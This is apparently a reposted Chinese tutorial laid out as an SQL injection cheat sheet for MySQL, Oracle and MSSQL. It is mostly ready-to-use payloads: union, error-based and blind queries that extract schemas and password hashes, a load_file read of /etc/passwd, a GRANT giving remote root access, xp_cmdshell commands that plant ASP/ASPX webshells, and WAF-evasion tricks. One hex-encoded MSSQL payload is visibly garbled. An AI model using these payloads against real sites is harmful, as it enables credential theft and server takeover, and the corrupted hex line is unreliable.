首頁  >  文章  >  運維  >  SQL注入類型有哪些

SQL注入類型有哪些

WBOY
WBOY轉載
2023-05-18 22:05:122018瀏覽

前言

SQL注入的攻擊方式會根據應用程式處理資料庫傳回內容的不同,可以分為可顯示注入、報錯注入和盲注。

可顯注入

攻擊者可以直接在目前介面內容中取得想要獲得的內容。

報錯注入

資料庫查詢回傳結果並沒有在頁面中顯示,但是應用程式將資料庫報錯資訊列印到了頁面中,所以攻擊者可以建構資料庫報錯語句,從報錯資訊中取得想要獲得的內容。

盲注

資料庫查詢結果無法從直覺頁面中獲取,攻擊者透過使用資料庫邏輯或使資料庫庫執行延時等方法來取得想要取得的內容。

Mysql 手動注入

lian合注入

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

錯誤注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));

5 .multipoint()

select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));

6.polygon()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));

7.multipolygon()

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));

8.linestring()

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));

9.multilinestring ()

select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));

10.exp()

select \* from test where id=1 and exp(\~(select \* from(select user())a));

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注

時間盲注

常用函數sleep()

分割函數substr 、substring、left

分割函數編碼後可不用引號,ascii() hex()

一般時間盲注我們還需要使用條件判斷函數

if(expre1 ,expre2,expre3)

當expre1 為true 時,傳回expre2,false 時,傳回expre3

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布林盲注

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update

這種注入會出現在註冊、ip頭、留言板等等需要寫入資料的地方,如用sqlmap會產生大量垃圾資料

嘗試性插入、引號、雙引號、轉義符\ 讓語句不能正常執行,然後如果插入失敗,更新失敗,然後深入測試確定是否存在註入
二次註入和寬字節注入

二次註入:

沒有單引號的sql語句中,進行16進位編碼,這樣就不會帶有單引號

#寬位元組注入:

##單引號轉義為' , mysql 會將\ 編碼為\ ,寬字節中兩個字節代表一個漢字,所以把� 加上\ 就變成了一個漢字“運”,從而繞過轉義


Oracle 手動注入
lian合注入

?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)--

?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
報錯注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布林盲注

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64--

時間盲注

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

SQL手動注入#判斷注入點是否存在

數位型注入

url後輸入

and 1=1

#and 1=2

如返回不同,則可判斷注入點存在

範例:

http://www.xxx.cn/news.php?p=1&id=4' 回傳錯誤

http://www.xxx.cn /news.php?p=1&id=4 and 1=1 回傳正確

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 回傳錯誤

字元型注入

url後輸入

' and 1=1 and '1'='1

' and 1=2 and '1'='1

http://www.xxx.cn/news.php?p=1&id=4' 回傳錯誤

http://www.xxx.cn /news.php?p=1&id=4' and 1=1 and '1'='1 回傳正確

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 and '1'='1 返回錯誤

搜尋型注入

輸入框中輸入

' 傳回錯誤

x%' and 1=1 and '%'=' 回傳正確

x%' and 1=2 and '%'=' 回傳錯誤

判斷字段數

數字型

http://www.xxx.cn/news.php?p=1&id=4 order by 26 回傳正確

http://www.xxx.cn/news .php?p=1&id=4 order by 27 回傳錯誤

得出結論:字段數26。

字元型

http://www.xxx.cn/news.php?p=1&id=4' order by 26 # 回傳正確

http:// www.xxx.cn/news.php?p=1&id=4' order by 27 # 回傳錯誤

得出結論:字段數26。

搜尋型

x%' order by 26 # 傳回正確

x%' order by 27 # 傳回錯誤

得出結論:欄位數26。

尋找可顯示欄位

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2, 3,4,5,6,7,8,9,....

字元型

#http://www.xxx.cn/news.php?p=1&id= 4' and 1=2 union select 1,2,3,4,5,6,7,8,9,....

##搜尋型

x%' and 1 =2 union select 1,2,3,4,5,6,7,8,9,....


#查資料庫名稱##數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,2,database(),4,5,6,7,8,9,.. ..

字元型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,2,database(), 4,5,6,7,8,9,....

#搜尋型

x%' and 1=2 union select 1,2,database(),4, 5,6,7,8,9,....

#查資料庫中表名
#數字型

http://www.xxx .cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17 from information_schema.tables where table_schema='資料庫名稱'

資料庫名稱也可以使用十六進位

字元類型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='資料庫名稱'

#資料庫名稱也可以使用十六進位

搜尋型

X%' and 1=2 union select 1,2,group_concat(table_name),4,5 ,6,7,8,9,.... from information_schema.tables where table_schema='資料庫名稱'

#資料庫名稱也可以使用十六進位
查表中的列名

數字型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(column_name) ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

#表名也可以使用十六進位

字元型

http://www.xxx.cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat( column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

##表名也可以使用十六進位

搜尋型

x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8 ,9,.... from information_schema.columns where table_name='表名'

#表名也可以使用十六進位
查表中的資料

#數位型

http://www.xxx.cn/news.php?p=1&id=4 and 1=2 union select 1,group_concat(username,password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17 從 表名

字符型

http://www.xxx. cn/news.php?p=1&id=4' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17 from 表名

#搜尋型

x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6, 7,8,9,.... from 表名

#顯示版本:select version();

顯示字元集:select @@character_set_database;

#顯示資料庫show databases;

顯示表名:show tables;

顯示電腦名稱:select @@hostname;

顯示系統版本:select @@version_compile_os;

顯示mysql路徑:select @@basedir;

顯示資料庫路徑:select @@datadir;

顯示root密碼:select User,Password from mysql.user;

開啟外連:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL函數利用

MySQL提供了load_file()函數,可以幫助使用者快速讀取文件,但是文件位置必須在伺服器上,文件路徑必須為絕對路徑,而且需要root權限

SQL語句如下: union select 1,load_file('/etc/passwd'),3 ,4,5

#通常,有些防注入語句不允許單引號的出現,那麼可以用一下語句繞過:

union select 1,load_file(0x272F6574632F70617373776427),3,4 ,5

#對路徑進行16進位轉換。
MSSQL手動注入

與SQL注入不同的是,SQL利用的爆出顯示的字段,MSSQL利用的報錯注入,插入惡意的sql語句,讓查詢報錯,在報出的錯誤中,顯示我們想要的資訊。

注入點:

www.xxx.cn/xxx/xxx.aspx?id=1
查詢資料庫版本

@@ version:MSSQL全域變量,表示資料庫版本資訊。

測試語句:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

#注意:「and @@vsersion>0”也可以寫成“and 0/@@version>0”

錯誤訊息:

在將nvarchar 值'Microsoft SQL Server 2008 R2 (SP3) - 10.50. 6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) o​​n Windows NT 6.1

原因:

@@version是MSSQL的全域變量,如果我們在“?id=1”後面加上“and @@version>0”,那麼“and”後面的語句會將「@@version」強制抓換成int型別與0比較大小,但是型別轉換失敗,所以就將資料庫資訊揭露出來。
查詢電腦名稱

@@servername:MSSQL全域變量,表示電腦名稱。

報錯訊息:

在將 nvarchar 值 ‘WINDOWS-XXXXXX‘ 轉換成資料型別 int 時失敗。
查詢目前資料庫名稱

db_name():目前使用的資料庫名稱。

報錯訊息:

在將 nvarchar 值 ‘abc‘ 轉換成資料型別 int 時失敗。
查詢目前連接資料庫的使用者

User_Name():目前連接資料庫的使用者。

報錯訊息:

在將 nvarchar 值 ‘dbo‘ 轉換成資料型別 int 時失敗。

注意: 如果看到dbo,那麼多半目前資料庫的使用者是dba權限。
查詢其他資料庫名稱

爆其他資料庫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and ( SELECT top 1 Name FROM Master..SysDatabases)>0

報錯訊息:

在將 nvarchar 值 ‘master‘ 轉換成資料型別 int 時失敗。

再爆其他的資料庫則這麼寫:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master.. SysDatabases where name not in ('master'))>0

繼續的話要這麼寫:

http://www.xxx.cn/xxx/xxx.aspx?id= 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
查詢資料庫中的表名

查表名:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type= 'U' AND is_ms_shipped=0)>0

錯誤訊息:

在將nvarchar 值'depart' 轉換成資料型別int 時失敗。

再爆其他表:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type ='U' AND is_ms_shipped=0 and name not in ('depart'))>0

再繼續:

#http://www.xxx.cn/xxx/xxx. aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0


'符號表格的列名或欄位名稱

查欄位名稱:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and ( select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

報錯訊息:


在將nvarchar 值'ID' 轉換成資料類型時失敗。

再爆其他欄位:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc .information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0

再繼續:

http://www.xxx.cn/xxx/ xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0


1T


查詢資料:http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

報錯訊息:

在將nvarchar 值'B5A1EF8730200F93E50F4F5DEBBCAC0B' 轉換成資料型別int 時失敗。

寫入一句話木馬

如果資料的權限是dba,且知道網站絕對路徑的話,那麼我們就可以用這個語句來寫一句話木馬進去:

asp木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %> ;;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

aspx木馬:

http ://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"), "unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

原則是sql server支援堆疊查詢,利用xp_cmdshell可以執行cmd指令,cmd指令中用【echo 內容> 檔案】可以寫檔案到磁碟裡面。

利用hex編碼繞過WAF
http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐瀏覽器中的hackbar工具的Encoding底下的“HEX Encoding”輕鬆把字串編碼成為可以利用的hex,然後利用報錯注入就可以注入這個網站。

爆資料庫版本


select convert(int,@@version)

hex編碼後:0x73656c65637420636f6e7665727428696e742c40636f6e7665727428696e742c40636f6e7665727428696e742c40407657273226223222c404076572732228696e742c404076572732228696e742c404076572732。


http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e7426426262426222286962262286222262202022020)(27202020)( -20272026)(2726)(286)–#27262622862222286))(-2627622726228696222869(20)). # #錯誤訊息:在將nvarchar 值'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' 轉換成資料型別int 時失敗。

注意後面的注入語句:
dEcLaRe @s vArChAr(8000) //宣告一個局部變數@s,型別為varchar(8000)

sEt @s= 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //給@s賦值,為「select convert(int,@@version)」的十六進位編碼程式中執行「#e」(的內容。 ######爆目前資料庫#########select convert(int,db_name())######爆目前使用者########select convert(int, User_Name())######爆表#########select convert(int,(select top 1 name from abc[資料庫名稱].sys.all_objects where type='U' AND is_ms_shipped= 0)) select convert(int,(select top 1 name from abc[資料庫名稱].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('CMS_ArticleClass')))######爆字段######

select convert(int,(select top 1 COLUMN_NAME from abc[資料庫名稱].information_schema.columns where TABLE_NAME='CMS_Userinfo[表名]')) select convert(int,(select top 1 COLUMN_NAME from abc[資料庫名稱].information_schema.columns where TABLE_NAME='CMS_Userinfo[表名]' and COLUMN_NAME not in ('id')))
爆數據

##select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))


SQL注入之你問我答小知識

1.id-1 ,頁面如果回傳正確頁面說明是有註入,那1可以嗎? (www.test.com/xsn.php?id=12 1)

不行,因為加號在url裡面是空格的意思。

2.你知道mysql裡有幾種註解方式嗎?

三種:①.# 這個註解直到該行結束;②./註解多行/;③.– 這個註解直到該行結束。

第三種方法要解釋一下,因為我之前不熟悉這種寫法。雖然對於‘-’作為註釋符還有一些印象,但‘- ’卻讓我頭痛。其實是– ,注意–的後面有一個空格。如果在URL中直接輸入空格,瀏覽器會自動忽略它並無法傳遞到資料庫。所以特意用加號代替。

3.「select select * from admin」可以執行嗎?倘若不可以請說明。

不可以執行,在使用select雙層的時候要把第二個括起來,否則無效。

如果空格被過濾掉了,你知道有哪些可以繞過嗎?或說你知道哪些字元可以取代空格?這些字元被稱為空白字元。比如un ion會被當作union來處理。假如空格被過濾了,可能的sql語句就會變成:select from messages where uid=45or1=1,我們可以使用//來取代空格:http://www.xxx.com/index.php?id= 45//or/**/1=1 另外: /|–|/ /@–|/ /?–|/ /| – |/ 都可以取代空格。

5.Windows下的Oracle資料庫是什麼權限? Windows下的Oracle資料庫,必須以system權限運作。

6.SQL注入和SQL盲注有何差異?

在常規的SQL注入中,應用返回資料庫中的資料並呈現給你,而在SQL盲注漏洞中,你只能取得分別與注入中的真假條件相對應的兩個不同回應,應用程式會針對真假條件傳回不同的值,但是攻擊者無法檢索查詢結果。

7.什麼是引發SQL注入漏洞的主要原因?

Web應用程式未對使用者提供的資料進行充分審查和未對輸出進行編碼是產生問題的主要原因。

8.什麼是堆疊查詢(stacked query)?

在單一資料庫連線中,執行多個查詢序列,是否允許堆疊查詢是影響能否利用SQL注入漏洞的重要因素之一。

在MYSQL中,SELECT * FROM members; DROP members;是可以執行的,資料庫是肯定支援堆疊查詢的,但是讓php來執行堆疊查詢的sql語句就不一定行了。

/*! ...*/

是啥意思?

MYSQL資料庫特有,如果在註釋的開頭部分添加一個感嘆號並在後面跟上資料庫版本編號,那麼該註釋將被解析成程式碼,只要資料庫版本高於或等於註解中包含的版本,程式碼就會被執行。

select 1 /!40119 1/

該查詢結果:

傳回2(MySQL版本為4.01.19或更高)

#回傳1 (其他情況)

10.如果注入語句中的'='被過濾?

可以考慮使用like關鍵字替換:union select password from users where username like admin;

11.如果空格被過濾?可以考慮使用'/**/'替換:

union/

/select//password//from//users//where//username//like//admin;

注意,如果過濾了關鍵字,在MySQL中,也可以在關鍵字內部使用內嵌註解來繞過:

uni/ /on//sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12.SQL注入中的' ' ?

MSSQL:在MSSQL中,「」運算子被用於字串連接和加法運算,'1' '1'='11',1 1=2;

MySQL:在MySQL中,「 」運算子只被用於加法運算,'1' '1'='2',1 1=2;

Oracle:在Oracle中,「 」運算子只被用於加法運算,'1' '1'='2',1 1=2。

13.資料庫中字串的連接符?

MSSQL:'a' 'b'='ab'

MYSQL:'a' 'b'='ab'

Oracle:'a'||' b'='ab'

14.註解符號

MSSQL:'-- '(注意後面的空格),'/.../'

MySQL: '-- ','# ','/.../',注意,--後面必須要有一個或多個空格。

Oracle:'-- ','/.../'

三種資料庫中,通用的註解符號是'-- '


WAF繞過
規則層面的繞過SQL註解符號繞過

union/**/select

union/aaaa bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

內連註解:/!xxxx /

空白符號繞過:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

以上是SQL注入類型有哪些的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除